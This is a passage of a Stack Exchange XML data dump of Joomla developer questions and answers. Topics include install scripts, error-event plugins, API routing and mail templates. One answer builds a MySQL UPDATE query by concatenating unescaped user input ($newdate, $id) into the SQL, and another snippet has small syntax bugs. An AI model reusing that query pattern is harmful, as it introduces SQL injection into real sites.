&#xA;&amp;quot;ignoreChanges&amp;quot;:[&amp;quot;created&amp;quot;,&amp;quot;created_by&amp;quot;],&#xA;&amp;quot;convertToInt&amp;quot;:[], &#xA;&amp;quot;displayLookup&amp;quot;:[&#xA;{&amp;quot;sourceColumn&amp;quot;:&amp;quot;created_by&amp;quot;,&amp;quot;targetTable&amp;quot;:&amp;quot;#__users&amp;quot;,&amp;quot;targetColumn&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;displayColumn&amp;quot;:&amp;quot;name&amp;quot;},&#xA;{&amp;quot;sourceColumn&amp;quot;:&amp;quot;catid&amp;quot;,&amp;quot;targetTable&amp;quot;:&amp;quot;#__categories&amp;quot;,&amp;quot;targetColumn&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;displayColumn&amp;quot;:&amp;quot;title&amp;quot;}]}');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16285" LastEditorUserId="16285" LastEditDate="2022-06-01T17:59:12.147" LastActivityDate="2023-10-27T17:02:20.383" Title="What is the correct way to insert the first category called &quot;Uncategorized&quot; in the categories table in the SQL file during installation of component?" Tags="|component|installation|sql|category|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32194" PostTypeId="2" ParentId="32186" CreationDate="2022-06-02T14:36:20.840" Score="0" Body="&lt;p&gt;I can't say exactly how to make your question, but I used something similar to show a field conditioned to the value of another field in the 'showon' attribute with XML Path Language (XPath). I believe it is something similar. You can find out more at the link:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/1999/REC-xpath-19991116/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.w3.org/TR/1999/REC-xpath-19991116/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16285" LastEditorUserId="12352" LastEditDate="2022-06-03T01:08:46.647" LastActivityDate="2022-06-03T01:08:46.647" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32195" PostTypeId="2" ParentId="32182" CreationDate="2022-06-03T04:15:56.510" Score="1" Body="&lt;p&gt;if you just want to use different content than the one stored in the com_content tables, why not creating a simple content plugin which replaces the content in the row before showing it?&lt;/p&gt;&#xA;&lt;p&gt;That way you can use all the benefits from Joomla com_content and show your customized content.&lt;/p&gt;&#xA;&lt;p&gt;There are lots of content plugins (in the core and in JED) which can guide you on how to do it and this article from official documentation might help (though it is specific for J3, almost everything will work in J4): &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_content_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_content_plugin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Of course if there is not a one to one match between your tables and Joomla article tables, you probable better create your custom component to show this data.&lt;/p&gt;&#xA;" OwnerUserId="14318" LastActivityDate="2022-06-03T04:15:56.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32196" PostTypeId="2" ParentId="31423" CreationDate="2022-06-03T07:52:32.990" Score="0" Body="&lt;p&gt;A further add to this regarding comparing dates with nulls.&lt;/p&gt;&#xA;&lt;p&gt;If a datetime can be set to null or a valid value and you want to update it if the new value is later (greater than) the existing value (null or a valid date) then you need to be able to compare the new date with null - which doesn't work.&lt;/p&gt;&#xA;&lt;p&gt;So you can use the &lt;code&gt;COALESCE()&lt;/code&gt; mysql function to replace the null with a valid value.&lt;/p&gt;&#xA;&lt;p&gt;But since zero is no longer a valid date you can't use &lt;code&gt;COALESCE(a.mydate,0)&lt;/code&gt; as I found suggested elsewhere on t'internet.&lt;/p&gt;&#xA;&lt;p&gt;The minimum valid MySQL date is '1000-01-01 00:00:00' so my solution is this:&lt;/p&gt;&#xA;&lt;p&gt;Assuming 'mytable' has a column 'last_seen' which I want to update a row with id = $id with a '$newdate' if $newdate is greater than the existing value in a.last-Seen. Assume newdate is a string as might be returned from a calendar form control.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = 'UPDATE `#__mytable`  AS a &#xA;  SET `last_seen` =  '.$db-&amp;gt;quote($newdate).'&#xA;  WHERE a.id  = $id &#xA;  AND COALESCE(a.last_seen, STR_TO_DATE(&amp;quot;1000-01-01&amp;quot;,&amp;quot;%Y-%m-%d&amp;quot;))&#xA;    &amp;lt; STR_TO_DATE(&amp;quot;'.$newdate.'&amp;quot;,&amp;quot;%Y-%m-%d&amp;quot;)';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In this case I'm not checking the time part. There may be a better way...&lt;/p&gt;&#xA;" OwnerUserId="16053" LastActivityDate="2022-06-03T07:52:32.990" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32197" PostTypeId="2" ParentId="32193" CreationDate="2022-06-04T11:55:28.643" Score="1" Body="&lt;p&gt;I use a function in the install script to insert any required categories during the postflight() function. This uses an instance of the category table so that data can be checked and alias created etc. It also allows several categories to be created with whatever category fields you require filled in.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function postflight($type, $parent) {&#xA;    if ($type=='install') {&#xA;        //do any other stuff required before creating categories&#xA;        $app = Factory::getApplication();&#xA;        // create an array with info for each category &#xA;        //  In this example I'm creating 2 categories with title &amp;amp; description for each&#xA;        $cats = array(&#xA;            array(&amp;quot;title&amp;quot;=&amp;gt;&amp;quot;Uncategorised&amp;quot;,&amp;quot;desc&amp;quot;=&amp;gt;&amp;quot;default fallback category for all items&amp;quot;),&#xA;            array(&amp;quot;title&amp;quot;=&amp;gt;&amp;quot;Imported&amp;quot;,&amp;quot;desc&amp;quot;=&amp;gt;&amp;quot;default category for imported data&amp;quot;));&#xA;        $message .= $this-&amp;gt;createCategory($cats);&#xA;        $app-&amp;gt;enqueueMessage($message,'Info');&#xA;        // do any other stuff you need to after creating categories&#xA;}&#xA;&#xA;protected function createCategory($cats) {&#xA;    $message = 'Creating '.$this-&amp;gt;extension.' categories. ';&#xA;    $db = Factory::getDBO();&#xA;    foreach ($cats as $cat) {&#xA;        //first check the category doesn't already exist &#xA;        // eg if a partial unnistall has been done - it does happen!&#xA;        // or if you want to use it during update() to add a new category&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('id')-&amp;gt;from($db-&amp;gt;quoteName('#__categories'))&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('title').&amp;quot; = &amp;quot;.$db-&amp;gt;quote($cat['title']))&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('extension').&amp;quot; = &amp;quot;.$db-&amp;gt;quote('com_mycomponent'));&#xA;        $db-&amp;gt;setQuery($query);&#xA;        if ($db-&amp;gt;loadResult()&amp;gt;0) {&#xA;            $message .= '&amp;quot;'.$cat['title'].' already exists&amp;lt;br /&amp;gt; ';&#xA;        } else {&#xA;            $category = Table::getInstance('Category');&#xA;            $category-&amp;gt;extension = $this-&amp;gt;extension;&#xA;            $category-&amp;gt;title = $cat['title'];&#xA;            // allow overriding the default alias create by including a specific alias (you should make sure this is unique)&#xA;            if (array_key_exists('alias', $cat)) { $category-&amp;gt;alias = $cat['alias']; }&#xA;            $category-&amp;gt;description = $cat['desc'];&#xA;            $category-&amp;gt;published = 1;&#xA;            $category-&amp;gt;access = 1;&#xA;            $category-&amp;gt;params = '{&amp;quot;category_layout&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;image&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;image_alt&amp;quot;:&amp;quot;&amp;quot;}';&#xA;            $category-&amp;gt;metadata = '{&amp;quot;page_title&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;author&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;robots&amp;quot;:&amp;quot;&amp;quot;}';&#xA;            $category-&amp;gt;language = '*';&#xA;            // Set the location in the tree&#xA;            $category-&amp;gt;setLocation(1, 'last-child');&#xA;            // Check to make sure our data is valid&#xA;            if ($category-&amp;gt;check()) {&#xA;                if ($category-&amp;gt;store(true)) {&#xA;                    // Build the path for our category; has to happen after it is created&#xA;                    $category-&amp;gt;rebuildPath($category-&amp;gt;id);&#xA;                    $message .= $cat['title'].' id:'.$category-&amp;gt;id.' created ok. '&#xA;                } else {&#xA;                    throw new Exception(500, $category-&amp;gt;getError());&#xA;                }&#xA;            } else {&#xA;                throw new Exception(500, $category-&amp;gt;getError());&#xA;            }&#xA;        }&#xA;    }&#xA;    return $message;&#xA;    }&#xA;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Error handling could certainly be made more graceful. As always this is only a fragment so you'll need to have the appropriate use statements for Factory and Table etc&lt;/p&gt;&#xA;" OwnerUserId="16053" LastActivityDate="2022-06-04T11:55:28.643" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32199" PostTypeId="1" CreationDate="2022-06-05T15:44:37.113" Score="0" ViewCount="294" Body="&lt;p&gt;As per the title, how can we catch a RouteNotFoundException? For time constraints, instead of creating a custom component we opted for some hand-waving, and decided to display custom content at non-routed URL's, and it's working, but we would like to catch the exception.&#xA;I tried acting on error.php and index.php, but to no avail.&lt;/p&gt;&#xA;" OwnerUserId="16289" LastActivityDate="2022-06-07T08:55:03.083" Title="How to catch Joomla\CMS\Router\Exception\RouteNotFoundException in Joomla 4.1?" Tags="|joomla-4.x|url|jroute|router|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32202" PostTypeId="1" AcceptedAnswerId="32453" CreationDate="2022-06-06T09:02:06.583" Score="1" ViewCount="73" Body="&lt;p&gt;I have made a custom login plugin for Joomla 3 and now for Joomla 4.&#xA;However, in Joomla 4, the login works as it should, but it generates a stack dump in the error log:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[Mon Jun 06 10:13:58.034860 2022] [proxy_fcgi:error] [pid 100000:tid 140131864393280] [client 2a02:968:***:***:***:***:***:***:38362] AH01071: Got error '&#xA;PHP message: &#xA;PHP Warning:  Undefined property: PlgAuthenticationhccxmlauthenticatie::$name in /disk/site/ontwikkel/joomla4-dev/www/libraries/src/Authentication/Authentication.&#xA;PHP on line 184&#xA;PHP message: &#xA;PHP Stack trace:&#xA;PHP message: &#xA;PHP   1. {main}() /disk/site/ontwikkel/joomla4-dev/www/index.&#xA;PHP:0&#xA;PHP message: &#xA;PHP   2. require_once() /disk/site/ontwikkel/joomla4-dev/www/index.&#xA;PHP:32&#xA;PHP message: &#xA;PHP   3. Joomla\\CMS\\Application\\CMSApplication-&amp;gt;execute() /disk/site/ontwikkel/joomla4-dev/www/includes/app.&#xA;PHP:63&#xA;PHP message: &#xA;PHP   4. Joomla\\CMS\\Application\\SiteApplication-&amp;gt;doExecute() /disk/site/ontwikkel/joomla4-dev/www/libraries/src/Application/CMSApplication.&#xA;PHP:278&#xA;PHP message: &#xA;PHP   5. Joomla\\CMS\\Application\\SiteApplication-&amp;gt;dispatch($component = *uninitialized*) /disk/site/ontwikkel/joomla4-dev/www/libraries/src/Application/SiteApplication.&#xA;PHP:243&#xA;PHP message: &#xA;PHP   6. Joomla\\CMS\\Component\\ComponentHelper::renderComponent($option = 'com_users', $params = *uninitialized*) /disk/site/ontwikkel/joomla4-dev/www/libraries/src/Application/SiteApplication.&#xA;PHP:204&#xA;PHP message: &#xA;PHP   7. Joomla\\CMS\\Dispatcher\\ComponentDispatcher-&amp;gt;dispatch() /disk/site/ontwikkel/joomla4-dev/www/libraries/src/Component/ComponentHelper.&#xA;PHP:389&#xA;PHP message: &#xA;PHP   8. Joomla\\CMS\\MVC\\Controller\\BaseController-&amp;gt;execute($task = 'login') /disk/site/ontwikkel/joomla4-dev/www/libraries/src/Dispatcher/ComponentDispatcher.&#xA;PHP:146&#xA;PHP message: &#xA;PHP   9. Joomla\\Component\\Users\\Site\\Controller\\UserController-&amp;gt;login() /disk/site/ontwikkel/joomla4-dev/www/libraries/src/MVC/Controller/BaseController.&#xA;PHP:735&#xA;PHP message: &#xA;PHP  10. Joomla\\CMS\\Application\\SiteApplication-&amp;gt;login($credentials = ['username' =&amp;gt; '********', 'password' =&amp;gt; '********', 'secretkey' =&amp;gt; ''], $options = ['remember' =&amp;gt; FALSE, 'return' =&amp;gt; 'https://www.some.tld/']) /disk/site/ontwikkel/joomla4-dev/www/components/com_users/src/Controller/UserController.&#xA;PHP:122&#xA;PHP message: &#xA;PHP  11. Joomla\\CMS\\Application\\CMSApplication-&amp;gt;login($credentials = ['username' =&amp;gt; '********', 'password' =&amp;gt; '********', 'secretkey' =&amp;gt; ''], $options = ['remember' =&amp;gt; FALSE, 'return' =&amp;gt; 'https://www.some.tld/', 'entry_url' =&amp;gt; 'https://www.some.tld/index.&#xA;PHP?option=com_users&amp;amp;task=user.login', 'action' =&amp;gt; 'core.login.site']) /disk/site/ontwikkel/joomla4-dev/www/libraries/src/Application/SiteApplication.&#xA;PHP:748&#xA;PHP message: &#xA;PHP  12. Joomla\\CMS\\Authentication\\Authentication-&amp;gt;authenticate($credentials = ['username' =&amp;gt; '********', 'password' =&amp;gt; '********', 'secretkey' =&amp;gt; ''], $options = ['remember' =&amp;gt; FALSE, 'return' =&amp;gt; 'https://www.some.tld/', 'entry_url' =&amp;gt; 'https://www.some.tld/index.&#xA;PHP?option=com_users&amp;amp;task=user.login', 'action' =&amp;gt; 'core.login.site']) /disk/site/ontwikkel/joomla4-dev/www/libraries/src/Application/CMSApplication.&#xA;PHP:822', referer: https://www.some.tld/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How do I set the undefined property &lt;code&gt;$name&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="14149" LastEditorUserId="12352" LastEditDate="2022-06-06T20:37:58.610" LastActivityDate="2022-10-21T09:39:26.643" Title="Undefined property: PlgAuthenticationmyauthplugin::$name in /somepath/www/libraries/src/Authentication/Authentication.php on line 184" Tags="|joomla-4|authentication|bugs|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32203" PostTypeId="2" ParentId="32199" CreationDate="2022-06-07T08:55:03.083" Score="1" Body="&lt;p&gt;In J4 exceptions can be handled by system plugins with &lt;code&gt;onError&lt;/code&gt; event:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Event\ErrorEvent;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\Router\Exception\RouteNotFoundException;&#xA;&#xA;class PlgSystemExample extends CMSPlugin&#xA;{&#xA;    public function onError(ErrorEvent $event)&#xA;    {&#xA;        if ($event-&amp;gt;getError() instanceof RouteNotFoundException)&#xA;        {&#xA;            // Handle the exception.&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-06-07T08:55:03.083" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32204" PostTypeId="1" CreationDate="2022-06-07T14:46:48.483" Score="0" ViewCount="116" Body="&lt;p&gt;As per the title, when an admin creates a new account with a certain email address, the new user correctly receives the email that should contain the credentials, but the values are not binded, i.e. one reads &amp;quot;Username: %s ; Password: %s &amp;quot;. What could the problem be and how can we fix it in J4?&lt;/p&gt;&#xA;" OwnerUserId="16289" LastActivityDate="2022-06-08T06:28:15.997" Title="Why aren't the credentials being binded in the user registration email and how can we fix it in J4?" Tags="|user|joomla-4.x|emails|registration|account-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32205" PostTypeId="2" ParentId="32126" CreationDate="2022-06-07T18:30:31.913" Score="1" Body="&lt;p&gt;I have installed the security extension &lt;a href=&quot;https://securitycheck.protegetuordenador.com/subscriptions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://securitycheck.protegetuordenador.com/subscriptions&lt;/a&gt;. Awesome extension with great features and great pro-active support. I recommend this to anyone who wants to secure their joomla site with minimal effort.&lt;/p&gt;&#xA;" OwnerUserId="16387" LastActivityDate="2022-06-07T18:30:31.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32206" PostTypeId="1" CreationDate="2022-06-07T21:19:30.760" Score="1" ViewCount="413" Body="&lt;p&gt;I updated joomla to J4.1.4 and now i am getting module information top right of all the modules.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ePRqv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ePRqv.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16388" LastEditorUserId="12352" LastEditDate="2022-06-08T01:14:08.077" LastActivityDate="2022-06-08T05:48:13.540" Title="Tooltip On Top of Module" Tags="|joomla-4|joomla-4.1|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32207" PostTypeId="1" CreationDate="2022-06-08T02:16:50.590" Score="0" ViewCount="1454" Body="&lt;p&gt;I use this code on my component in Joomla 3:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function add() {&#xA;    if(JRequest::checkToken( 'get' )) {&#xA;        JRequest::checkToken( 'get' ) or die( 'Invalid Token' );&#xA;    } else {&#xA;        JRequest::checkToken() or die( 'Invalid Token' );&#xA;    }&#xA;    &#xA;    JRequest::setVar('hidemainmenu', 1);        &#xA;    $model = $this-&amp;gt;getModel('albums');&#xA;    &#xA;    $view = $this-&amp;gt;getView('albums', 'html');               &#xA;    $view-&amp;gt;setModel($model, true);      &#xA;    $view-&amp;gt;setLayout('add');&#xA;    $view-&amp;gt;add();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but I receive &lt;code&gt;JRequest Error&lt;/code&gt; in Joomla 4.&lt;/p&gt;&#xA;" OwnerUserId="15061" LastEditorUserId="12352" LastEditDate="2022-06-08T05:45:56.797" LastActivityDate="2022-06-13T08:53:45.440" Title="JRequest Error to Joomla 4" Tags="|joomla-4.x|jrequest|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32208" PostTypeId="2" ParentId="32202" CreationDate="2022-06-08T04:01:06.807" Score="-1" Body="&lt;p&gt;You can Use this.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$name = $this-&amp;gt;Auth-&amp;gt;getUser();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;that is all.&lt;/p&gt;&#xA;&lt;p&gt;But to retrieve user's data other than id.&#xA;For more info see it.https://laravel.com/docs/4.2/security#authenticating-users&lt;/p&gt;&#xA;" OwnerUserId="16362" LastEditorUserId="16362" LastEditDate="2022-06-09T03:46:01.827" LastActivityDate="2022-06-09T03:46:01.827" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32209" PostTypeId="2" ParentId="32206" CreationDate="2022-06-08T05:48:13.540" Score="2" Body="&lt;p&gt;The tooltips are meant to appear when logged in with a user authorized to edit modules and frontend editing is enabled. If you are not logged in, you should check permission settings, there could be some serious misconfiguration.&lt;/p&gt;&#xA;&lt;p&gt;As to why the tooltips appear this way is because your template has no styling applied to them. Unfortunately, Joomla does not provide styling library for common utilities like tooltips. You have to inspect the stylesheets of core templates to figure things out. Instead of targeting a class, core templates apply tooltip styling to all elements with &lt;code&gt;role=&amp;quot;tooltip&amp;quot;&lt;/code&gt; attribute. This, for example, is the CSS code used in Cassiopeia template:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[role=tooltip]:not(.show) {&#xA;  right: 5em;&#xA;  z-index: 1070;&#xA;  display: none;&#xA;  max-width: 100%;&#xA;  padding: 0.5em;&#xA;  margin: 0.5em;&#xA;  color: black;&#xA;  text-align: start;&#xA;  background: white;&#xA;  border: 1px solid #6d757e;&#xA;  border-radius: 0.25rem;&#xA;  box-shadow: 0 0 0.5rem rgba(0, 0, 0, 0.8);&#xA;}&#xA;[role=tooltip]:not(.show)[id^=editarticle-] {&#xA;  right: auto;&#xA;  -webkit-margin-start: -10em;&#xA;          margin-inline-start: -10em;&#xA;}&#xA;[role=tooltip]:not(.show)[id^=editcontact-] {&#xA;  right: auto;&#xA;  -webkit-margin-start: -10em;&#xA;          margin-inline-start: -10em;&#xA;}&#xA;[role=tooltip]:not(.show)[id^=id-skip-] {&#xA;  right: auto;&#xA;}&#xA;&#xA;:focus + [role=tooltip],&#xA;:hover + [role=tooltip] {&#xA;  position: absolute;&#xA;  display: block;&#xA;}&#xA;&#xA;.filter-search-bar__description {&#xA;  bottom: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And, yes, even &lt;code&gt;.filter-search-bar__description&lt;/code&gt; rule is related to tooltips. 3rd party extensions might need additional workarounds to make tooltips work properly.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-06-08T05:48:13.540" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32210" PostTypeId="2" ParentId="32204" CreationDate="2022-06-08T06:28:15.997" Score="1" Body="&lt;p&gt;You probably have an override of the language string in question (&lt;code&gt;PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY&lt;/code&gt;). You need to either remove it or update it to use the new format with custom variables. Or you can use the mail template editor to customize the email body.&#xA;This is because when mail templates were introduced some of existing strings were reused with changed variable format. In J3 the format was compatible with &lt;code&gt;sprintf()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY=&amp;quot;Hello %s,\n\n\nYou have been added as a User to %s by an Administrator.\n\nThis email has your username and password to log in to %s\n\nUsername: %s\nPassword: %s\n\n\nPlease do not respond to this message as it is automatically generated and is for information purposes only.&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In J4 a custom format is used with variables being replaced by Joomla:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY=&amp;quot;Hello {NAME},\n\n\nYou have been added as a User to {SITENAME} by an Administrator.\n\nThis email has your username and password to log in to {URL}\n\nUsername: {USERNAME}\nPassword: {PASSWORD}\n\n\nPlease do not respond to this message as it is automatically generated and is for information purposes only.&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-06-08T06:28:15.997" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32212" PostTypeId="2" ParentId="28431" CreationDate="2022-06-09T03:55:55.407" Score="0" Body="&lt;p&gt;You can use this extension for your workflow management.&#xA;It's available for J3 and J4.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/clients-a-communities/project-a-task-management/joomproject/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/clients-a-communities/project-a-task-management/joomproject/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16362" LastActivityDate="2022-06-09T03:55:55.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32213" PostTypeId="1" CreationDate="2022-06-09T11:54:46.673" Score="2" ViewCount="515" Body="&lt;p&gt;I'm using some UIkit classes in module suffixes when working with modules. My template added those classes via chrome in Joomla 3.&#xA;In Joomla 4 I cannot longer add a Module suffix class like &amp;quot;uk-width-2-3@s&amp;quot; because the filter is not allowing it.&lt;/p&gt;&#xA;&lt;p&gt;Can this filter be somehow deactivated?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2024-03-05T10:06:51.070" Title="Module class suffix not allowed in Joomla 4" Tags="|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32214" PostTypeId="1" AcceptedAnswerId="32222" CreationDate="2022-06-09T22:59:43.073" Score="1" ViewCount="67" Body="&lt;p&gt;It may be too specific a question, but is anyone having any issues utilizing Joomla 4 Templates and the API with extensions from Joomshaper? I have 1 site that seems to work fine, but another that is giving me a 500 error with Helix 3 System plugin enabled. It is giving me a 500 error if that helps.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2022-06-15T16:00:30.957" Title="Joomla 4 API Issues using Joomshaper Melvin Template" Tags="|joomla-api|joomla-4.x|helix3|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32215" PostTypeId="1" CreationDate="2022-06-10T14:14:19.530" Score="1" ViewCount="125" Body="&lt;p&gt;I want to Uninstall the Sample Data - Blog plugin, but the plugin can't be remove when it's stil locked. How to unlock the Sample Data - Blog plugin in Joomla 4?&lt;/p&gt;&#xA;" OwnerUserId="16393" LastActivityDate="2022-07-10T16:01:55.200" Title="Unlock and Unistalling the Sample Data - Blog plugin in Joomla 4" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32216" PostTypeId="2" ParentId="32215" CreationDate="2022-06-10T15:02:16.047" Score="1" Body="&lt;p&gt;Since 4.0 all core extensions are locked and cannot be uninstalled. Their files are re-introduced after updates anyways. But you can still disable most core extensions, including the sample data plugin.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-06-10T15:02:16.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32218" PostTypeId="1" CreationDate="2022-06-13T04:53:52.353" Score="4" ViewCount="946" Body="&lt;p&gt;How to convert a custom Joomla 3 to Joomla 4, and use the Joomla 4 web services API?&lt;/p&gt;&#xA;&lt;p&gt;I have an extension I wrote for J3 and with a bit of tweaking it works just fine in J4. I want to add web services to the extension since I am building a custom Android app for the site.&lt;/p&gt;&#xA;&lt;p&gt;Do I need to implement additional code in my extension to have it properly work with the Joomla 4 web services API?&lt;/p&gt;&#xA;&lt;p&gt;I will expand a bit on the component that I have written. It is a simple administrator component with 2 views, clients and records. The clients table is a simple table with id, client name, notes, and a published field. The records table is also a simple table with an id, a technician id, a client id, notes, time_in, time_out, and published.&lt;/p&gt;&#xA;&lt;p&gt;This component is going to store a list of time in and time out records for a technician going on site for a given client for reporting purposes.&lt;/p&gt;&#xA;&lt;p&gt;I have created an api folder for the component with a src folder similar to com_tags. Very simple, single display view and controller. I also have created  web services plugin, again mimicking com_tags and simple changing the names of the extension and the controller name in the apiparseroute.&lt;/p&gt;&#xA;&lt;p&gt;The error I am receiving in /administrator/logs/everything.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2022-06-15T16:20:44+00:00   CRITICAL xxx.xxx.xxx.xxx    error   Uncaught Throwable of type Joomla\CMS\Router\Exception\RouteNotFoundException thrown with message &amp;quot;Unable to handle request for route `v1/timetracker/clients`.&amp;quot;. Stack trace: &#xA;#0 [ROOT]/libraries/src/Application/ApiApplication.php(241): Joomla\CMS\Router\ApiRouter-&amp;gt;parseApiRoute('GET')&#xA;#1 [ROOT]/libraries/src/Application/ApiApplication.php(104): Joomla\CMS\Application\ApiApplication-&amp;gt;route()&#xA;#2 [ROOT]/libraries/src/Application/CMSApplication.php(278): Joomla\CMS\Application\ApiApplication-&amp;gt;doExecute()&#xA;#3 [ROOT]/api/includes/app.php(54): Joomla\CMS\Application\CMSApplication-&amp;gt;execute()&#xA;#4 [ROOT]/api/index.php(31): require_once('/home/customer/...')&#xA;#5 {main}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am willing to share a zipped version of the component upon request if it helps since there is nothing in it that is proprietary. We are only using it for admins on the backend to have a visual reference. The majority of the work will be done through an Anroid app I am currently developing.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//WEB SERVICES PLUGIN&#xA;defined('_JEXEC') or die;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\Router\ApiRouter;&#xA;&#xA;class PlgWebservicesTimetracker extends CMSPlugin&#xA;{&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    public function onBeforeApiRoute(&amp;amp;$router)&#xA;    {&#xA;        $router-&amp;gt;createCRUDRoutes(&#xA;            'v1/timetracker',&#xA;            'clients',&#xA;            ['component' =&amp;gt; 'com_timetracker']&#xA;        );&#xA;    }&#xA;}&#xA;&#xA;//ClientsController.php&#xA;&amp;lt;?php&#xA;namespace Joomla\Component\Timetracker\Api\Controller;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\MVC\Controller\ApiController;&#xA;&#xA;class ClientsController extends ApiController&#xA;{&#xA;    protected $contentType = 'clients';&#xA;    protected $default_view = 'clients';&#xA;}&#xA;&#xA;//JsonapiView.php&#xA;&amp;lt;?php&#xA;namespace Joomla\Component\Timetracker\Api\View\Clients;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;&#xA;&#xA;class JsonapiView extends BaseApiView&#xA;{&#xA;    protected $fieldsToRenderItem = [&#xA;        'id',&#xA;        'business_name',&#xA;    ];&#xA;    protected $fieldsToRenderList = [&#xA;        'id',&#xA;        'business_name',&#xA;    ];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Stack Trace&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2022-06-20T19:30:18+00:00&#xA;Uncaught Throwable of type Joomla\CMS\Router\Exception\RouteNotFoundException thrown with message &amp;quot;Unable to handle request for route `v1/timetracker/clients`.&amp;quot;. &#xA;Stack trace: #0 [ROOT]/libraries/src/Application/ApiApplication.php(241): Joomla\CMS\Router\ApiRouter-&amp;gt;parseApiRoute('GET')&#xA;#1 [ROOT]/libraries/src/Application/ApiApplication.php(104): 